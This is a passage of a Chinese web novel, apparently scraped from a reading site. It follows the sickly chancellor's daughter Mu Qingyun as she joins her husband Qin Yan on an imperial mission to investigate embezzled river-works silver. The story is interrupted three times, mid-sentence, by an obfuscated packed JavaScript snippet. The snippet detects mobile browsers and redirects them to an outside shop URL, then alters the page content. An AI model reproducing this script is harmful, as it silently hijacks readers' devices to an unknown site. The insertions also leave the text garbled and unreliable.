秦砚连忙单膝跪地，恭敬道：“陛下谬赞，臣愧不敢当。” 皇帝眯着眼睛，居高临下地打量着他：“穆相真该好好感谢朕，为他选了个文武兼备，知礼识趣的好女婿。” 相府花园里，枝头抽出嫩芽，百花含苞待放，一片春意盎然的景色。 花团锦簇中，穆卿云今日穿了一身粉荷色的襦裙，坐在廊下的美人靠上。明明天气已经渐暖，但她却仍是离不开大氅和手炉。 她伸出手，指尖拖着一枚鲜嫩欲滴的花苞。 如今已是春天了。这幅残破的身子，竟然又熬过了一个冬。 穆卿云不禁自嘲地想，从幼时起，宫中太医就曾断言，她这身子绝对活不过及笄之年，但她还是咬牙撑了下来。 一年一年咬牙硬挺，竟也撑到了现在。 一阵温柔的春风拂过，指尖的花苞轻轻颤了颤。 穆卿云眉心一蹙，连忙抽回手，捏住帕子掩住嘴唇。弯腰闷咳了好一阵子，她看着帕子上的点点嫣红，竟然跟园子里的春色有几分相似。 只不过一个代表生机，另一个却象征着她的生命已然快要走到尽头。 这种苟延残喘的日子已经过了太久，穆卿云早已看淡生死。 相府诸事都已经安排妥当，各处机要职位也都已经安排了最合适的人选，子钰的学业已经走入正轨，至于秦砚……照现在的势头看来，扛起相府这杆大旗也是指日可待。 所以，即便此刻离去，大概也了无牵挂了。 她淡然收起帕子，心想，不知道今日春猎，秦砚那边情况如何，算着时辰，应该也快结束了吧。 知微不知道带来了什么好消息，脸上带着兴奋的笑意，朝她一路小跑过来。 “小姐！姑爷今日在围场大出风头！还得了皇上的奖赏呢！” “是吗？” 穆卿云轻笑，低下头，看着自己指尖，方才被触碰的花苞染上的一抹绿色汁液。 知微停在她面前，喘匀了气，继续道：“春猎已经散了，估摸着他应该也快到家了！” “在外奔波一日也该累了，你去吩咐厨房做几道他爱吃的菜，给他接风。” “好嘞，奴婢这就去！” 知微欢快地应了一声，转身刚跑了没几步，就碰见了匆匆赶回来的秦砚。 他回来得匆忙，甚至连衣服都还没来得及换，还穿着那身英气勃勃的骑射服，倒衬得他有些不同以往的挺拔俊朗。 知微笑着停下脚步，扭头对穆卿云大喊：“小姐！姑爷回来啦！” 穆卿云在一片繁花似锦的背景下回过头，对秦砚露出了一个温柔的笑容。 落英轻沾她的衣袂，眉眼柔婉似含烟，犹如月下清莲，不染尘俗，轻轻一绽便动人心弦。 秦砚怔了怔神，缓步上前，在她面前单膝跪地。 “小姐，我回来了。” 穆卿云望着他一身风尘，唯独一双眼睛依旧澄澈坚定，心头忽然涌上一股难以言说的滋味。 “嗯，回来就好。” 15. 第 15 章 相府，花园临水的亭子里，案上摆着一张棋盘。 穆卿云和秦砚正在执子对弈，穆子钰则在一旁摆弄他新得的鲁班锁。 秦砚从前只知道些浅显的棋理，实战并不熟练，所以格外慎重，每落一子都要思索半晌。 穆卿云端着一盏热茶，静静看着，也不催促，只等他慢慢想好。 穆子钰看了眼姐姐的脸色，偷偷凑到她身侧，低声求助：“阿姐，这一步应该怎么解开啊？帮我解一下嘛……” 穆卿云还没开口，对面的秦砚却头也不抬道：“我们约好了通关才能换新玩具，找人帮忙可不算数。” 没想到他眼睛盯着棋局，耳朵还这么尖，穆子钰噘起嘴重重哼了一声，扭头自己上一边研究去了。 穆卿云拢了拢肩头的大氅，低头笑而不语。 秦砚盯着棋盘，在心里推算了许久，终于无比慎重地落下一子。 穆卿云放下茶盏，淡淡瞥了一眼棋局，拈起一枚白子轻轻落下。 只一招，就彻底瓦解秦砚的所有布局，攻守逆转，胜局已定。 秦砚呆滞地看着棋盘，心里从困惑到震惊，最后恍然大悟般猛地拍了拍脑门。 “妙啊，小姐当真棋高一着！” “下棋如用兵，秦公子是初学，不必气馁。” 穆卿云笑着安慰他，偏头闷咳了两声，强忍住喉咙里涌上的腥甜。 穆子钰见状，十分有眼力见地为阿姐添上热茶。 穆卿云接过茶盏，欣慰地揉了揉弟弟的脑袋。 秦砚指尖抵着下巴，还在复盘先前这场棋局。 “听闻京中每年都会举办弈林会，若是小姐肯下场一试，那岂不是能轻轻松松拔得头筹？” “棋会高手如云，我这点微末棋艺算不得什么。” 穆卿云又忍不住咳了两声，脸色也更苍白了些，“况且……我已经很久没有下过一盘完整的棋了。” 秦砚下意识问：“为何？” 一旁的穆子钰抢着回答：“久坐耗神，因为姐姐身体不好，撑不了那么久。” 秦砚这才后知后觉地醒悟过来，连忙起身道：“晚生愚钝，今日打扰小姐歇息，实在不该。” 穆卿云抬手往下压了压，示意他坐下。 “秦大人不必多虑，今日兴致尚可，再坐一会儿也无妨。” 还没等秦砚松口气，穆子钰就补了一刀：“因为你棋艺太差啦！我阿姐陪你下棋，根本不用费什么力气。” 秦砚：“……” 穆卿云掩唇轻笑：“这两年子钰的棋艺倒是长进不少，往后秦大人若是想练手，不妨先跟他过几招。” 穆子钰叉着胳膊，得意地指了指自己：“想赢我阿姐，得先过我这关！” 那小大人般趾高气扬的模样，倒是引得秦砚和穆卿云相视一笑。 春日午后，气氛和煦而安宁。 秦砚看着穆卿云苍白伶仃的手腕，在心里斟酌半晌，还是问道：“小姐身子一直不见好，为何不再多找些大夫来瞧瞧？” 穆卿云扭头盯着湖面上的波纹，轻声道：“从我记事起，一日三餐就没有断过药。如今你能看到我还好好地坐在这里下棋，已经是靠着相府倾力供养之下，最好的结果了。” 秦砚看到她脸上那种看破一切之后的淡然，心中不甘更甚。 “既然京中大夫束手无策，那为何不从民间再想想办法？” 天下名医寻遍，也无非只是拖延时日罢了。她这幅身子，恐怕只有大罗神仙才能妙手回春了。 或许她也曾抱有过期待，但一次次的失望落空，一次次的旧疾复发，永无休止的汤药和病痛，已经让她心灰意冷，觉得有朝一日若能解脱，也未尝不是一件幸事。 穆卿云没有接话，只是轻轻笑了笑。 春天到了，天气渐暖，她只盼着，这幅摇摇欲坠的身体，能再多撑上一阵子，再陪他们久一些就好了。 岁月静好的日子还没有过上几天，朝堂之上风云再起。 两年前，幽州大旱，饥民遍地。朝廷为赈灾并兴修水利以绝后患，特拨八十万两河工银，修筑永定河堤坝。此款项由户部拨出，工部规划，地方执行。 然而，河堤草草完工即被夏汛冲毁，数十万灾民未得救济反遭水淹，死伤惨重，民变在即。 大朝会上。 穆相手持紧急奏报，悲愤交加地控诉：“陛下！幽州急报！八十万两河工银拨付不到半年，所谓‘固若金汤’的新堤竟一冲即溃！数十万百姓流离失所，饿殍遍野！这哪里是天灾，这分明是人祸！臣请立刻彻查，严惩蛀虫！” 此言一出，金銮殿内不明真相的官员立刻开始交头接耳，窃窃私语。 站在人群中的秦砚攥紧了手中的笏板，心中隐隐察觉此事必然牵涉极深，恐怕难以善了。 “丞相何出此言？” 皇帝还未开口，温太傅却缓步出列，反驳道，“天威难测，夏汛凶猛，或有不及，岂可一概归咎于人？河工银拨付，户部有账。工程规划，工部有图。具体施工，乃幽州地方之责。丞相不问缘由，直指朝廷有‘蛀虫’，莫非是影射我户部、工部、乃至地方官员尽皆无能贪腐？” 穆相冷笑一声，步步紧逼：“太傅好一张利口！臣只说彻查，太傅便急着跳出来替户部工部撇清干系。怎么，是怕这把火当真烧到自己人身上吗？” 温太傅面色一沉，旋即又扯出个皮笑肉不笑的表情，“丞相不必血口喷人。老夫不过是就事论事。河堤溃决，原因繁多。或许是夏汛百年一遇，或许是勘测有误，或许是天意如此。丞相却一口咬定是人祸，莫非是未卜先知？” 穆相扬了扬手中奏报，“幽州急报在此，白纸黑字写得清清楚楚！堤身多处未见石灰灌浆，夯土松散如沙，分明是偷工减料！这等劣迹斑斑，太傅还要替他们遮掩不成？” “那是幽州地方的事！户部拨银分毫不差，工部图纸样样齐全。若真是偷工减料，也是地方官员胆大包天，与朝廷何干？” “好一个与朝廷何干！”穆相怒极反笑，“户部拨银，可曾派人核验？工部出图，可曾派员监理？层层失守，处处漏洞，如今出了事就想推给地方。太傅当天下人是瞎子吗？” 温太傅被他噎住，脸色青白交加，半晌才咬牙道：“丞相这是非要往朝廷命官身上泼脏水了？” 穆相寸步不让：“臣只想还幽州百姓一个公道！” 两人对峙而立，殿内鸦雀无声。 高坐龙椅之上的皇帝终于开口，声音不辨喜怒：“够了。” 两位重臣同时垂首。 皇帝的目光从穆相脸上缓缓移到温太傅脸上，“一个说人祸，一个说天灾。一个要彻查，一个要推诿。朕该听谁的？” 大殿内鸦雀无声，无人应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524729|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答。 此时，秦砚忽然出列，手持笏板上前一步。 “臣有本要奏！” 皇帝似是有些意外，眯了眯眼睛，“准奏。” 秦砚深吸口气，不卑不亢道：“陛下！太傅所言，乃追究事后责任。然当务之急，是安抚灾民，防止民变！无论天灾人祸，朝廷应立即拨付第二批赈灾款与粮食，并派得力干员前往，一则救灾，二则查明河工银款与工程虚实！” “嗯……” 皇帝略作沉吟，微微颔首，“所言有理，那依诸位爱卿之见，派谁去查最为合适？” 温太傅见状，干脆顺水推舟：“状元郎心系黎民，精神可嘉。陛下，老臣附议，既然秦修撰如此忧国忧民，不如就任命他为钦差大臣，总管幽州赈灾，河工重建及一应调查事宜。” 这一招可谓以退为进，阴险至极。 把一大堆烂摊子直接丢给秦砚，若他不敢接旨，就可以扣上畏难避事，空言误国的罪名，若他硬着头皮接下了，正好也能趁机借刀杀人。 穆相心头一震，连忙出列阻拦：“陛下！秦修撰入仕未久，资历尚浅，老臣以为，此事还需从长计议……” 温太傅立刻打断他：“既然丞相认为秦修撰不合适，那您心中可还另有合适人选？” “这……” 事发突然，进宫之前穆相只来得及匆匆跟女儿商议了几句，未曾想到情况变化得如此之快。 温党步步紧逼，处处设套，没有穆卿云在背后出谋划策，此刻他腹背受敌，一时竟难以应对。 秦砚深知自己已是无路可退，只得挺直脊梁沉声领命：“臣，愿往幽州。” 皇帝目光沉沉地打量着这位初生牛犊不怕虎的状元郎，缓声道：“好，朕准了。望你莫负圣恩，给幽州百姓一个交代，也给朝堂诸公一个明白！” “糊涂！” 相府书房，穆相一把砸了茶盏，气得面色铁青。 “你知道那幽州是什么地方吗？也敢领命前往？是不是读书读傻了？” 秦砚被骂得不敢抬头，一声不吭地垂首站在书案前。 “爹爹息怒。” 穆卿云坐在一旁的软榻上，叹了口气，“温太傅摆明了就是要借机除之，秦大人也别无选择。况且河工贪腐案牵连甚广，我们躲得了一时，躲不了一世。与其被动挨打，倒不如主动入局，寻一线生机。” 穆相听完女儿的话，深吸口气，强行压下怒火。 “那现在该怎么办？难不成真的让他去送死？” 秦砚抬头看了穆卿云一眼，坚决道：“此事因我而起，秦砚愿一力承担，绝不拖累相府！” 穆相瞪了他一眼，转身撑住桌角，重重叹了口气。 穆卿云倒没有半分慌乱，面上还是一派从容，“事在人为，也许情况并没有想象中那么糟。” 此言一出，屋里的两人都扭头看了过来。 “幽州乃是边境要地，兵马与漕运，一直都是由温党一系牢牢把控。我们若想撕开世家的层层封锁，那幽州应当会是一个不错的突破口。” “话虽如此，但温党盘踞多年，他们定然早有防备，上上下下都铁板一块，要想从中破局，谈何容易？” “没错，此事仅靠秦大人一人之力，确实难如登天。” 穆卿云缓缓站起身，一字一句道，“所以此行，我也会一同前往。” 16. 第 16 章 “不可！” “不可！” 她话音刚落，秦砚和穆相同时出声反对。 秦砚急切上前，连礼数都不顾了，“万万不可，小姐体弱，若因为此事有个闪失，那秦某万死难辞其咎！” 穆相胡须抖了抖，像是顷刻之间，明白了女儿的用意。滚烫的泪水立刻就模糊了视线，他连忙转过身去，强忍着生怕被女儿发现。 “秦大人，此事关乎全局，兹事体大，并非意气用事的时候。” 穆卿云平静地看着他，又对他笑了笑，“我既主动提出同行，那便是已有了万全的谋划。我对自己的身体最是了解，无论如何也不会逞强的。” “那也不能……” 秦砚充耳不闻，急得额头冒汗，还想再说些什么，穆相却忽然从后面抓住了他的手臂，对他扬了扬下巴。 “你先出去吧，我跟时雨好好谈一谈。” 秦砚自觉没资格留在这里说话，只好躬身退了出去。 等到书房门彻底关上，穆相才缓缓转过身，让自己的声音尽量平稳下来。 “时雨，你是怎么想的？” “爹爹心里清楚，我们现在要想扳倒太傅，根除世家这颗毒瘤，还差最重要的一颗棋子。” 穆卿云扶着桌案站起身，平静直视着父亲的眼睛，“而幽州，就是破局的关键所在。” “可你……” 穆相欲言又止，满眼都是心疼和不忍。 穆卿云知道他想说什么，垂头轻声道：“爹爹，服药多年，久病缠身，日日受病痛煎熬，女儿已经被折磨得够久了，真的够了……” “时雨！别说了！” 穆相意识到女儿已存了死志，立刻试图打断她的话。 “若此行能为相府搏出一条生路，那女儿就死而无憾了。” 穆相仰头叹息，身体微微晃了晃，几欲站不稳，“时雨……这些年，是爹爹对不住你……” “这便是女儿的命，我知道爹爹已经尽力了。” 穆卿云勉强提起唇角，眼眶却也有些湿润，“就这一次，爹爹，就让女儿去吧。” 秦砚垂首站在廊下，脑中回荡着穆卿云先前说的话，满心都被无尽的懊悔填满。 温太傅是冲着他来的，若是穆卿云为了帮他收拾烂摊子而有个三长两短，那他这辈子都不会原谅自己。 不知过了多久，身后的书房门开了。 穆卿云看见秦砚孤零零站在廊下的背影，轻轻唤了一声：“秦大人？” 听见声音，秦砚下意识转过头，恰好被她看见通红的眼眶。 穆卿云也有些惊讶，不过转念一想，毕竟他今年不过也才十九岁，还是个未经历过多大风浪的少年郎，一时情绪失控也很正常。 她叹了口气，温声道：“到沁芳院书房去吧，我有些话要跟你说。” 秦砚连忙背过身，用袖子飞快抹去眼泪，哑着嗓子应了一声。 这几个月秦砚一直住在书房，穆卿云不常过来。 但即便如此，里面的陈设器物都还是整整齐齐，一尘不染，就连桌上的笔砚纸墨，都还是依照着她往日的老样子放置的，位置分毫不差。 穆卿云走到书架前，看着秦砚用竹片做的标签，笑着问：“这些案卷典籍你都看完了？” 秦砚点了点头，闷闷地“嗯”了一声。 穆卿云回头看了他一眼，缓步走到书桌前坐下。 “秦大人，虽然我知道你也是一片好意，但是有些事情，我觉得还是应该跟你说清楚。” 秦砚神色一凛，垂在身侧的手指微微蜷缩起来。 “首先，你是相府的人，所以温太傅今日当众逼你接旨，针对的不是你秦砚，而是我相府。” 她说话不带笑的时候，眉眼沉静，莫名有种不容置喙的压迫感，让秦砚不由脊背绷紧，大气都不敢出。 “其次，我决定要去幽州，不是为了替你担险，而是为了抓住这难得的破局之机，将来好彻底拔除盘踞朝堂已久的世家这颗毒瘤。” 穆卿云说完，见秦砚还愣在原地，没什么反应，于是又放缓语气，问了句：“我说清楚了吗？秦大人？” “清，清楚。” 秦砚结结巴巴道，“我只是担心……” 穆卿云截过他的话头：“你只是担心我身子太弱，经不起长途奔波，到时候会成为你的负累？” “怎会？！” 秦砚立刻反驳，但却又在看见她那双笑意盈盈的眼睛时，才意识到她是在逗自己开心。 “怎么……小姐智计无双，运筹帷幄，无论走到哪里，都是所有人的主心骨。” 穆卿云笑了笑，忽然想到什么，指了指书架最上层，对他说：“从上数第三格后，有个匣子，劳烦秦大人替我取来。”、 秦砚顺着她指的方向看过去，木格深处，果然看到了一个檀木匣子。 他把那匣子取了下来，轻轻放在书桌上。 穆卿云打开匣子，里面放着满满一沓的纸张。 “这是我从小到大，喝过的药方，太医的脉案，还有各路名医的诊断。” 秦砚瞳孔微微放大，难以想象这些纸张是如何记录下了她这些年的挣扎。 “我七岁时，宫里最好的太医就曾断言，我先天不足，病根难除，绝对活不过十二岁。” 穆卿云从匣子底部翻出一张泛黄的旧脉案，笑道，“后来……我爹又找来了江南的神医，但那位神医也说，我最多只能活到来年入冬。” “但我都挺过来了。” 穆卿云忽然倾身靠近秦砚，微凉的手指握住他的手掌。 “你看，我现在不是还好好的吗？那些大夫的话都算不得数，我的命数只有我自己说了才算。” 秦砚浑身僵住，只觉得手掌上被她握住的地方好像结了冰，又好像着了火，心跳乱得不成章法，让他不敢动弹，更舍不得挪开。 不过这点微不足道的接触，的确让他感受到了些许慰藉。 就好像一直以来只能远远望着的，惴惴不安的，不敢靠近的，藏在心底的，此刻终于有了归处，就落在掌心。 穆卿云盯着他的眼睛，还在缓缓靠近。 “有一年我在护国寺上香，还遇见了一位游方高僧，他说我寿数虽薄，但此生会有一场殊胜机缘，我觉得……那个机缘，说不定就是你呢。” “真的？” 秦砚声音在发颤，耳畔在轰鸣，脑子已经无法思考，动作全凭本能。 他感觉到自己的嘴唇在开合，但却不知道自己说了什么。 他眼里只有越来越近的那双眼睛，整个人像是被巨大的狂喜击中，受宠若惊，心跳剧烈得简直要冲破胸膛。 他喉间一滚，终于挣断了最后一根理智的弦，闭上眼睛，主动朝她靠了过去。 想象中的触碰却并未到来，穆卿云停在离他一寸的地方，忽然笑出了声。 “秦大人，你脸怎么这么红？” 秦砚骤然睁开眼睛，慌忙仰身，迅速捂住自己的嘴巴，“我……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530158|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年郎的心动总是不言而喻，穆卿云看在眼里，却有些怅然地叹了口气：“总之，就这么说定了，我们三日后动身，秦大人早些准备吧。” 说完，她就起身离开了书房，只留下呆愣原地的秦砚半晌回不过神，慌乱地平复着狂跳不止的心。 回想着刚刚发生的一切，秦砚不禁懊恼地捶了捶脑袋。 不过就是握了个手，怎么就被她撩得乱了心神，忘了正事？ 可是…… 他垂下眼，低头看着自己的手，被她握过的触感似乎还残留在掌心里。 他微微蜷起手指，像是回握住了那一抹微凉的温柔。 “您就这么同意了？” 邵同光听完穆相说的话，惊愕得简直合不拢嘴。 “小姐那是什么身子，怎能以身犯险，去那虎狼之地？” 穆相坐在太师椅上，疲惫地摇了摇头：“这是时雨自己的决定，连我也干涉不了。” 邵同光上前一步，急切道：“相爷，幽州距离崇安城千里之遥，一来一回就得数月之久，沿途山高路险，匪患未除。此次深入温党腹地，太傅那帮人肯定早有准备，布下了天罗地网，就等着我们往里跳，小姐不能去啊！” 听完他的话，穆相脸上的愁容更甚，连皱纹都仿佛又深了几分。 “你说的这些我何尝不知？同光，若可以选择，我宁愿替时雨承受这一切。” 邵同光看着他布满血丝的眼睛，忽然哽住，再也说不出多的话。 书房外，躲在门边偷听的穆子钰攥紧拳头，立刻转身跑向沁芳院。 “阿姐！” 穆卿云正在和知微清点此次出行要带的行李，就听见穆子钰气喘吁吁的喊声。 “阿姐！” 穆子钰跳过门槛，直接冲进穆卿云怀里，紧紧搂住她的腰。 “你要去哪儿？不要离开子钰！” 穆卿云接住怀里的小家伙，对知微使了个眼色，让她先退下。 “我才刚定下行程，你这消息倒是灵通。” 穆子钰不管不顾地把脸埋在她衣襟上，委屈道：“阿姐不要走，我不想让你去那么危险的地方。” 穆卿云轻抚他的背，温柔道：“阿姐只是出趟远门，又不是不回来了。就跟之前去别院小住一段时间一样，不会有事的。” 之前去别院是为了养病，而这次出门却是深入险地，查案斗奸。 穆子钰如今已经不是那么好糊弄的小孩，说什么也不肯松口。 眼看哄不住了，穆卿云只好无奈道：“子钰，人生在世，有些事总要有人去做。就像你要读书明理，要习武强身，阿姐也有自己必须要去做的事情。” 穆子钰把整张脸都埋在她身前，赌气似得闷声说：“那让秦砚自己去！你就留在家里陪我！” “子钰，听话。” 穆卿云强行把粘在自己身上的小家伙拉开，用手帕帮他擦去满脸的泪水。 “阿姐处理完那边的事情就会尽快回来，保证不会让你等太久，好吗？” 穆子钰清楚只要是阿姐决定了的事，谁也拦不住，于是捂着眼睛哭得更伤心了。 “那你要早点回来……呜呜呜……每天都要跟我写信，一天都不能少，不许骗我，更不许受伤……” “好……好。” 穆卿云俯身抱住嚎啕大哭的弟弟，心底一片酸涩。 她的弟弟尚且年幼，还如此依赖她，需要她，离不开她，这让她如何能毫无牵挂地放手？ 17. 第 17 章 三日后，钦差队伍整装待发。 卫凛一早便全副武装，等在相府门口，一看见穆卿云出来，便立刻迎了上去。 “时雨，你想好了？真要亲自去这一趟？” 穆卿云看着知微带人往马车上搬着行李，笑道：“有你卫大将军一路随行，还怕路上有什么闪失吗？” 卫凛瞥了眼一旁的秦砚，侧过身凑近穆卿云道：“我带着秦砚去查也是一样的，你何必非得亲自涉险？” 穆卿云难得俏皮地揶揄道：“让你们两个同行，我可不放心。” 他们两个又在说悄悄话了…… 秦砚低头整理着自己的行囊，假装不在意，但余光却控制不住地往那两人身上瞟。 卫凛叫她“时雨”，穆小姐每次跟卫凛讲话，都笑得那样开心，好像他们才是天造地设的一对，而自己只是半路横插一脚的局外人。 他正暗自神伤，忽然感觉有人扯了扯自己的衣袖。 穆子钰仰着小脸，认真地看着他：“秦砚，你要照顾好我阿姐，不要让她生病或者受伤，早点带她回来。” 秦砚下意识看了一眼不远处正在跟穆卿云说话的卫凛。 明明卫凛才是那个看起来更可靠的人，但穆子钰却偏偏选择托付自己。 他有点意外，又有点感动，抬手轻轻拍了拍穆子钰的肩膀。 “你放心，我一定会的。” 穆相也亲自送至门外，嘱咐道：“时雨，你平日里吃的药材我都让人多备了些，另外怕你万一路上有个头疼脑热，还让他们带了些应急的草药，以备不时之需。” “知道了，爹爹。”穆卿云笑着应下。 卫凛看出父女俩还有话要讲，于是识趣地拱手道：“我去整备车队与随行护卫，小姐若准备妥当，随时叫我。” 穆相微微颔首，引着女儿往僻静处走了几步，小心翼翼地从怀里拿出一只莹白的瓷瓶。 “时雨，这是我从青云观求来的三枚续命丹。” “那观主说，这丹药能在你撑不住的时候吊住一口气。服下一粒，可保七日精神如常，体力充沛，与常人无异。但药效过后，反噬极强，会让你本就亏空的身子更加虚弱，不到万不得已，切不可动用。” 这药于她而言，与其说是续命，不如说是催命。穆相心如刀绞，但明白女儿心意已决，故而不得不为她备上这条后路。 穆卿云接过瓷瓶，细细端详了一会儿才收入袖中。 “多谢爹爹，女儿记住了。” 正要上马车时，秦砚忽然瞥见角落处探出来两颗熟悉的脑袋。 他连忙放下手上的东西，快步过去，惊喜道：“尹兄，虞兄，你们怎么来了？” “你如今成了钦差大人，奉旨前往幽州查案，这一去怕是没有几个月回不来，我们自然要来送送你。” 尹都把一坛封装好的好酒递给他，笑着拍了拍他的肩膀，“此去一路保重，万事小心，回来后咱们兄弟再好好痛饮一番。” “对啊对啊！”虞英才在一旁连连点头，“等秦兄这趟回来，那可就是圣上面前的大功臣了，往后飞黄腾达，可别忘了咱们兄弟。” 秦砚明知此趟幽州之行凶险万分，并非什么风光的差事，但见着两位挚友前来送行，心里还是松快了不少。 “多谢两位兄弟，这份心意我记下了。” 虞英才踮起脚尖，伸长脖子，忽然瞥见了不远处马车旁的那道倩影。 他眼睛一亮，立刻想要凑上前去：“那是穆小姐吗？我去打个招呼。” “哎……” 秦砚手里拎着酒，只好用身体挡住他，“你的心意我会代为转达的，就不必亲自去了。” “我就跟穆小姐说两句话，你别这么小气嘛！” “不行，穆小姐还有要事准备，不便打扰……” 两人还在这边拉拉扯扯，车队前的卫凛已经翻身上马，不耐烦地冲秦砚喊道：“还磨蹭什么？准备上车出发了！” “来了！” 秦砚回头应了一声，匆匆跟两人告别：“二位保重，待我归来，再与二位相聚。” 尹都帮忙拉住还在挣扎的虞英才，笑着摆手道：“行了，快去吧，路上保重。” 钦差仪仗浩浩荡荡，踏过崇安城的青石长街，一路向北而去。 秦砚撩开车帘，看着渐行渐远的城门楼，心中无限怅然。 相府千金随行，羽林卫将军护送，此趟出京看似风光，送行者却寥寥。 即便站在路边围观的人，也是看热闹的多，真心相送者少。 卫凛一身劲装，带着一队精锐骑兵在队伍前头开路，肃杀凛然的气势，让沿途百姓纷纷避让。 穆卿云此行没有带太多随从，除了相府惯用的两名大夫，随行的丫鬟就只带了知微一个。 秦砚倚在车窗口，悄悄观察着前方那辆素色帷幔的马车。 兴许是太久没有出过门，穆卿云靠坐在软榻上，一手轻支着额头，心情还算不错。 只是卫凛每隔一个时辰就会放慢速度，勒马过来，问她身体如何，还受不受得住。 穆卿云实在不胜其烦，隔着帘子道：“将军专心赶路便是，我若撑不住，会派人告知，不必再问了。” 卫凛挠挠头，只好照办。 入夜，车队停在离京二百里外的驿站。 卫凛先行带人检查了驿站的里里外外，然后才安排穆卿云下车入住。 三人围坐在灯下，开始商议接下来的行路计划。 卫凛掏出一张地图在桌上摊开，手指虚虚画出一条路线。 “我们从崇安到幽州，全程千里之遥，若是走官道的话，中途会路过涿州，我计划在涿州落脚，休整人马，停留几日再动身。” 穆卿云微微颔首，沉吟片刻。 “若我没记错的话，涿州临水码头，扼守永济渠终点，是北方漕运枢纽。我们路过的话，也可以顺便查一查河工物料运输的账目，兴许能发现些蛛丝马迹。” 秦砚接过话头，提醒道：“涿州刺史谢永，出身清河谢氏，是温太傅的远房妻侄。此人早年得太傅举荐入仕，在地方熬了十几年资历，去年刚调任涿州。据说为官圆滑，左右逢源，在温党和相府之间两头讨好，是个不见兔子不撒鹰的角色。” “嗯……”穆卿云按了按胀痛的眉心，疲惫道，“看来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532576|203439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涿州，是非停不可了。” 几人正聊着，知微敲门进来，端上一桌热腾腾的饭菜。 虽然比不得相府的精致奢华，但也有荤有素，香气扑鼻。 在马车上颠簸了一天，穆卿云没什么胃口。但一想到这才刚开始，若是此刻便垮了身子，后面恐怕更难熬，所以只好强撑着拿起筷子，有一口没一口地吃着。 卫凛拿起汤勺，殷勤地起身帮她盛汤。 “这鸡汤味道不错，挺鲜亮的，尝尝看。” 低头夹菜的秦砚动作一顿，忍了一路的醋意瞬间上头，小发雷霆道：“卫将军有所不知，穆小姐近日喝的药里面有人参和川贝，与鸡肉同食会虚火上炎，加重咳嗽。” 穆卿云脸上闪过一丝讶异，抬头看了他一眼。 卫凛讪讪放下汤勺，低声嘀咕：“书呆子懂得还挺多……” 几人刚吃完饭，卫凛的贴身护卫就匆匆进来，递给他一封密报。 “这……” 卫凛打开扫了一眼，脸色骤变，连忙把信递给了穆卿云。 那密函上，赫然列着幽州刺史肖兴德贪墨河工银的详细账目。 时间、数额、经手人一应俱全，甚至还有他与温太傅往来的密信摘抄。证据链完整得如同精心编织的罗网，清晰得近乎刻意。 穆卿云看完，眉峰微蹙，又把密函递给了一脸好奇的秦砚。 秦砚越看越心惊，疑惑道：“我们才刚刚离京，这样关键的密报就到了我们手上。这是何人所为？暗中相助的盟友？还是温党故意抛出的诱饵？” 穆卿云面色凝重，叹道：“这是催命符，不是证据。看来他们已布好口袋，就等我们按这份‘证据’去查，一步步落入更深的陷阱。” 这才刚出崇安城，温党的试探就接踵而至，看来这一路上，注定不会太平。 “还是早点歇息，养足精神才能应对变数。” 穆卿云刚站起身，忽又叫住了准备出门的卫凛，“卫将军，今夜值守和巡逻可都安排好了？” “当然，”卫凛语气笃定，“从驿站外围，到小姐房前，我都派了人轮班守着，保证一只苍蝇也飞不进来。” 穆卿云转头看向桌上那封没有署名的密函，“这封信只是开胃菜，那些人只怕还有后手，将军务必打起精神，当心半夜偷袭。” “明白，今夜我亲自带人守着，要是有人敢来，定叫他有来无回！” 卫凛说完转身，见秦砚还站在原地发呆，没有要走的意思，于是一把揽住他肩膀，拽着他一同往外走去。 “还愣着干嘛？快走，别打扰时雨休息！” 秦砚艰难地回过头，却看见知微已经上前关上了房门，隔绝了他最后一丝留恋的视线。 出了院子，卫凛立刻松开手，嫌弃地看了他一眼，“行了，睡觉去吧，没事别出来乱晃，半夜遇着歹人我可不管。” 秦砚无奈地叹了口气，今日一整天还没跟穆小姐好好说上几句话。 每次刚找到机会开口，就被这卫凛强行打断，像是故意跟他作对似的。 不过想着来日方长，此刻也不是闲话的时候，所以只好闷闷地回了自己房间。 18. 第 18 章 夜深人静，驿站内外万籁俱寂。 卫凛抱着刀靠在院门外的廊柱上，眼皮虽然阖着，耳朵却一直留意着四周的动静。 这是他行伍多年养成的习惯，再累也不敢睡死。 子时刚过，一阵极轻的脚步声从墙角传来，快得几乎让人难以捕捉。 卫凛猛地睁开眼，手指按上刀柄。 “有异动！戒备！” 话音未落，几道黑影便从墙头翻跃而下，手持利刃，动作利落，显然是训练有素的刺客。 卫凛冷笑一声，抬手打了个手势。埋伏在暗处的护卫瞬间暴起，刀光闪过，喊杀声骤然炸响。 